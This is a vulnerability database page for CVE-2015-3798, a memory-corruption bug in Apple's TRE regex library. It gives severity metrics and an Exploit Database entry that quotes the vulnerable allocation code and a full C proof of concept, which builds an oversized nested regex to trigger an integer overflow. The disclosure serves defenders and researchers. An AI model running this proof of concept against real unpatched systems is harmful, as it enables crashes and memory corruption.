CVE-2015-3798 Detail

CVE-2015-3798

CVE Descriptions

The TRE library in Libc in Apple iOS before 8.4.1 and OS X before 10.10.5 allows context-dependent attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted regular expression, a different vulnerability than CVE-2015-3796 and CVE-2015-3797.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 38262

Publication date : 2015-09-21 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=429 The OS X regex engine function tre_tnfa_run_parallel contains the following code: int tbytes; ... if (!match_tags) num_tags = 0; else num_tags = tnfa->num_tags; ... { int rbytes, pbytes, total_bytes; char *tmp_buf; /* Compute the length of the block we need. */ tbytes = sizeof(*tmp_tags) * num_tags; rbytes = sizeof(*reach_next) * (tnfa->num_states + 1); pbytes = sizeof(*reach_pos) * tnfa->num_states; total_bytes = (sizeof(long) - 1) * 4 /* for alignment paddings */ + (rbytes + tbytes * tnfa->num_states) * 2 + tbytes + pbytes; DPRINT(("tre_tnfa_run_parallel, allocate %d bytes\n", total_bytes)); /* Allocate the memory. */ #ifdef TRE_USE_ALLOCA buf = alloca(total_bytes); #else /* !TRE_USE_ALLOCA */ buf = xmalloc((unsigned)total_bytes); <-- malloc is called, not alloca #endif /* !TRE_USE_ALLOCA */ if (buf == NULL) return REG_ESPACE; memset(buf, 0, (size_t)total_bytes); num_states and num_tags are computed based on the requirements of the regex and it's quite easy to make them each >64k with a relatively small regex. Note that total_bytes is an int and part of its calculation is the product of num_states and num_tags. The types here are all over the place and there's conversion between int, unsigned's and size_t. The attached PoC causes total_bytes to become negative leading to total_bytes being sign-extended in the memset call. Severity medium because I haven't looked for exposed attack surface yet, but this doesn't require any non-standard flags (only REG_EXTENDED which is almost always used.) Proof of Concept: //ianbeer #include <pthread.h> #include <regex.h> #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define DEFAULT_REG_FLAGS (REG_EXTENDED) void* go(void* arg){ unsigned int nesting_level = 20; size_t inner_size = nesting_level*2+10; char* inner = malloc(inner_size); memset(inner, '(', nesting_level); inner[nesting_level] = '\\'; inner[nesting_level+1] = '1'; memset(&inner[nesting_level+2], ')', nesting_level); inner[nesting_level*2+2] = '\x00'; unsigned int n_captures = 0x1000; char* regex = malloc(n_captures * inner_size + 100); strcpy(regex, "f(o)o((b)a(r))"); for (unsigned int i = 0; i < n_captures; i++) { strcat(regex, inner); } strcat(regex, "r\\1o|\\2f|\\3l|\\4"); const char* match_against = "hellothar!"; regex_t re; int err = regcomp (&re, regex, DEFAULT_REG_FLAGS); if (err == 0) { void* something = malloc(100); regexec (&re, match_against, 1, (regmatch_t*)something, DEFAULT_REG_FLAGS); } return NULL; } int main (int argc, char const** argv) { go(NULL); return 0; }